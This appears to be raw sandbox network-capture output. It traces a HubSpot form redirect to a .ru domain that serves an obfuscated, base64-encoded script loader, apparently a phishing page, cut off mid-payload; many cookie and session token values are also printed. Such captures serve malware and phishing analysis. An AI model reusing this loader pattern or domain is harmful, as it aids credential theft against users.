__cf_bm=UYwnfv7MeNZH8WK26zzfgLjCgo4qlXqZiM3UnJJi2jI-1734371167-1.0.1.1-ua2Is9aG6wJSmfKwoZq88bwnB7gTzfHjNSjPKNLVHidm.qIXuG02IBZ5vHj_obn6wi1kD.NE7O7uPXHZdK9z0A; path=/; expires=Mon, 16-Dec-24 18:16:07 GMT; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Set-Cookie: _cfuvid=WZh38QSo98oDd6O54iiUU5WMiIDyVGWAPdfM_yGQpzk-1734371167810-0.0.1.1-604800000; path=/; domain=.hsforms.com; HttpOnly; Secure; SameSite=None Server: cloudflare
2024-12-16 17:46:07 UTC	62	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 66 33 30 37 64 62 35 61 39 63 34 66 37 38 66 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: CF-RAY: 8f307db5a9c4f78f-EWRalt-svc: h3=":443"; ma=86400
2024-12-16 17:46:07 UTC	251	IN	Data Raw: 66 35 0d 0a 7b 22 66 6f 72 6d 47 75 69 64 22 3a 22 30 39 36 65 37 37 64 30 2d 62 39 32 62 2d 34 62 63 64 2d 62 35 30 35 2d 66 36 64 65 31 63 66 64 63 62 64 62 22 2c 22 61 63 63 65 70 74 65 64 22 3a 74 72 75 65 2c 22 63 6f 6e 76 65 72 73 69 6f 6e 49 64 22 3a 22 64 34 33 34 37 63 33 34 2d 38 64 37 65 2d 34 37 64 63 2d 62 32 66 32 2d 39 64 33 63 31 34 33 31 61 63 64 65 22 2c 22 72 65 64 69 72 65 63 74 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 71 62 30 36 2e 66 66 63 77 79 67 66 66 2e 72 75 2f 35 47 34 59 56 2f 3f 73 75 62 6d 69 73 73 69 6f 6e 47 75 69 64 3d 64 34 33 34 37 63 33 34 2d 38 64 37 65 2d 34 37 64 63 2d 62 32 66 32 2d 39 64 33 63 31 34 33 31 61 63 64 65 22 2c 22 61 75 74 6f 6d 61 74 69 63 4c 69 6e 6b 65 72 22 3a 66 61 6c 73 65 7d 0d 0a Data Ascii: f5{"formGuid":"096e77d0-b92b-4bcd-b505-f6de1cfdcbdb","accepted":true,"conversionId":"d4347c34-8d7e-47dc-b2f2-9d3c1431acde","redirectUrl":"https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde","automaticLinker":false}
2024-12-16 17:46:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.17	49888	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:07 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=NtfrvMQx9wm9FQXsy7lXLw4B0Dxgjvo_9l1JJCUbpOv4q9J5O1765l3YZ-lQSpl2MjeQz_PRI9lCx8E1rq_OhErjV6f99d2mot-zMV31E7StGplHiQDe2yLfYxCnm93R30wEi5u7HsJ-ZTEw2QTTQdMqzX5DX3YzKuw9YMsUHyEGdEYpgJDuaIkdznQaNuU
2024-12-16 17:46:08 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:08 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:08 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:08 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.17	49897	104.16.117.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:09 UTC	1092	OUT	GET /__ptq.gif?k=18&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ff631ee8-6dc4-418c-a78f-5c8bc9491b52&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371164801&vi=f969d8b384270839a01465c358727fa6&nc=false&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.2.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; _cfuvid=4VikfrI88zTQK4EPfkhv4kF3Fe.CI_9bBS.vlcLGm5A-1734371131612-0.0.1.1-604800000
2024-12-16 17:46:10 UTC	1198	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:09 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307dc32ecd0ca8-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-htbth x-evy-trace-virtual-host: all x-hubspot-correlation-id: b172b81d-229f-4a30-b706-63b42e8cb8fd x-request-id: b172b81d-229f-4a30-b706-63b42e8cb8fd x-robots-tag: none Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VHQWfmlYi8Mp06ESpHlUaKYcQJhCZ5cK1Ew2o%2FqwnwGKRB80A9%2FA2s6J2SV2dQNMd7vnm6UyxeSPkXUDWpOBX2c3THgRjmSVOkmwyofhJOEqvYdUkvt2yoxWXi6VsiURFKHM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-12-16 17:46:10 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.17	49898	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:09 UTC	977	OUT	GET /submissions/v3/public/submit/formsnext/multipart/48192692/096e77d0-b92b-4bcd-b505-f6de1cfdcbdb/json?hs_static_app=forms-embed&hs_static_app_version=1.6926&X-HubSpot-Static-App-Info=forms-embed-1.6926 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:10 UTC	900	IN	HTTP/1.1 405 Method Not Allowed Date: Mon, 16 Dec 2024 17:46:09 GMT Content-Type: text/html;charset=iso-8859-1 Transfer-Encoding: chunked Connection: close allow: POST,OPTIONS Cache-Control: max-age=0, no-cache, no-store access-control-allow-credentials: false vary: origin x-content-type-options: nosniff x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: cbad0ab0-fcbb-4c4d-aec9-7360421ce07c x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-b9zv5 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: cbad0ab0-fcbb-4c4d-aec9-7360421ce07c CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307dc32c0d1a28-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:10 UTC	235	IN	Data Raw: 65 35 0d 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 35 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 32 3e 48 54 54 50 20 45 52 52 4f 52 20 34 30 35 3c 2f 68 32 3e 0a 3c 70 3e 52 65 61 73 6f 6e 3a 0a 3c 70 72 65 3e 20 20 20 20 4d 65 74 68 6f 64 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 70 72 65 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: e5<html><head><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/><title>Error 405 Method Not Allowed</title></head><body><h2>HTTP ERROR 405</h2><p>Reason:<pre> Method Not Allowed</pre></p></body></html>
2024-12-16 17:46:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.17	49900	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:09 UTC	1085	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-SUBMISSION_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.2.1734371126848
2024-12-16 17:46:10 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:09 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 1 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 1583c7c0-20ef-483c-b82b-fc0a1e7d29af x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-4nb5b x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 1583c7c0-20ef-483c-b82b-fc0a1e7d29af CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307dc32a4d436f-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:46:10 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.17	49905	172.217.19.206	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:10 UTC	684	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIkqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=ERAuppkksvdnwQlZpF2K7ij37Wx5QZJP9apw5wgyAwMBJuhhWMe1hg2jtGyYmF6AwMp7g8S8pLw9j-ynvntI0bmZdjWWc_6uoA0scxKkcLdaRUE5kEYR0iP4fOnqllYQAVvCoSgfB5j4CmEQEhvcLv5gnUhd3noRGdIQ7mrNKaIleOlRduBngA3QYHCUBFo
2024-12-16 17:46:11 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Mon, 16 Dec 2024 17:46:10 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-16 17:46:11 UTC	1120	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-12-16 17:46:11 UTC	435	IN	Data Raw: 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3e 3c 73 70 61 6e Data Ascii: pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.17	49909	104.21.60.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:46:10 UTC	1483	OUT	GET /5G4YV/?submissionGuid=d4347c34-8d7e-47dc-b2f2-9d3c1431acde HTTP/1.1 Host: qb06.ffcwygff.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IndReHZDbHBwR2pSa0lHNDZoKzNHL2c9PSIsInZhbHVlIjoia3JmMy9CWjd2MXNIZFMxbDIzS3M3U2hkbmlwdVNjOVQyNGZ1aXF6dnViVkd2ZjZzYW40T1R3M3hLL0hrVEtqMW51dkJRbFAwdzQzVFJwSFhlb00zT3IyNEttR0kzWlN3R0ZIdlFBOEQyQzVaTm1XYzlUTmVkTVJ2Tk5oNU1TNHkiLCJtYWMiOiJhY2U0YjMxM2VhOTE0YmVjMzA4MmZjNGFmYjkyOTk2ZDY5ODFkYmQ5OTFkMzlmZDM2ZTgzNjBmZjdiOTYyN2JmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJLTHd3MXVwUjBkU1RoL1ZBREtUVHc9PSIsInZhbHVlIjoiUFUraEVUeHRzZ2JFM0MxQUxCN3plditLK1pwY1VMRFQwVmg1NGdLNHQxVGdNclVFN0k0TEdNem5aNEllY0RHRWdPWk5ycitNOHdDUWNnQjlaNVRvQWVKNXNPdENlRlRjTktnUGNXbE9HZjQ5YmYvbUREUDdBODdsdi84NXBJVFUiLCJtYWMiOiI2MzczNmE5N2ZhMGI2MzU0ODc4NjhmZDE5NGRkMTEyOThiY2UzYzZlOGRkYWEzMmM1Nzg0MDk3ZWMyODY0NDQ2IiwidGFnIjoiIn0%3D
2024-12-16 17:46:11 UTC	1257	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:46:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o64XfHABc%2BDzT%2BEXmp0HGmItwVI7koPhUw8BZsu7SeUswwU4Pg02uXVjo%2FPQWugMDCLzPJ20jSTLdQKFLQHcRT%2Bm6UWs91%2FLX%2BM6xq3ry5oNq1al8qXx%2Flb9tF8yXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2547&min_rtt=1090&rtt_var=1882&sent=87&recv=35&lost=0&retrans=0&sent_bytes=100145&recv_bytes=6632&delivery_rate=33494623&cwnd=256&unsent_bytes=0&cid=6ae113e5f54ab40d&ts=3544&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im5uOEVKd29wSFR0bUVzRXJqc3BURFE9PSIsInZhbHVlIjoiMFRLRjVzc1JDY2tDa1ZPR0kycVMvS3l5RnFEK0NORlVvOU40UXVGNHBFTmIvcVJURkp5VnVORGswa1B1TGlPY2ZkTnVod1FQZmlmdjZMeWZXVlJqb1FBYXljTGRIVkdWNkJKcmxqSDdXNkNoRGViSlZCZm1HeExxTElGeGhMS08iLCJtYWMiOiI3MjMxMGVkZDAxOTEzMTE2YmExNzViMjBhOGI2MmM5OGJmMzFmOTZlYjUxYTc1YTI5YjE2M2VkMTZlMWQyNThkIiwidGFnIjoiIn0%3D; expires=Mon, 16-Dec-2024 19:46:11 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-16 17:46:11 UTC	732	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 46 47 4b 30 52 33 56 7a 6b 35 61 6d 45 76 59 32 5a 72 56 32 4e 32 57 58 46 79 53 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 55 6e 52 75 57 54 46 4d 56 55 35 6e 5a 6b 68 70 59 32 6f 72 61 48 6c 79 4e 6b 68 32 62 6b 6c 77 4d 31 49 30 54 46 67 7a 56 30 68 74 56 55 4e 43 63 33 42 79 4e 6b 64 48 4e 57 6f 30 4f 58 4a 34 65 55 78 32 5a 32 46 33 64 55 78 35 57 47 4e 78 5a 48 6c 45 52 56 68 52 52 47 56 72 55 6c 67 33 52 32 31 31 62 30 5a 59 4e 55 74 57 56 55 31 50 59 55 68 72 59 57 56 51 63 45 68 72 57 6b 70 70 4e 56 46 74 57 46 46 6d 61 32 64 4b 55 58 6b 33 57 55 4d 76 4f 56 6c 78 65 6e 46 7a 51 6c 64 30 4d 33 51 72 54 48 46 52 4f 58 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkFGK0R3Vzk5amEvY2ZrV2N2WXFySHc9PSIsInZhbHVlIjoiUnRuWTFMVU5nZkhpY2oraHlyNkh2bklwM1I0TFgzV0htVUNCc3ByNkdHNWo0OXJ4eUx2Z2F3dUx5WGNxZHlERVhRRGVrUlg3R211b0ZYNUtWVU1PYUhrYWVQcEhrWkppNVFtWFFma2dKUXk3WUMvOVlxenFzQld0M3QrTHFROXc
2024-12-16 17:46:11 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 0d 0a 69 66 28 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 52 59 6a 41 32 4c 6d 5a 6d 59 33 64 35 5a 32 5a 6d 4c 6e 4a 31 4c 7a 56 48 4e 46 6c 57 4c 77 3d 3d 22 29 20 3d 3d 20 22 6e 6f 6d 61 74 63 68 22 29 7b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 44 51 6f 38 61 48 52 74 62 43 42 73 59 57 35 6e 50 53 4a 6c 62 69 49 2b 44 51 6f 38 61 47 56 68 5a 44 34 4e 43 69 41 67 49 43 41 38 63 32 4e 79 61 58 42 30 49 48 4e 79 59 7a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6a 62 32 52 6c 4c 6d 70 78 64 57 56 79 65 53 35 6a 62 32 30 76 61 6e 46 31 5a 58 Data Ascii: 7ffa<script>if(atob("aHR0cHM6Ly9RYjA2LmZmY3d5Z2ZmLnJ1LzVHNFlWLw==") == "nomatch"){document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZX
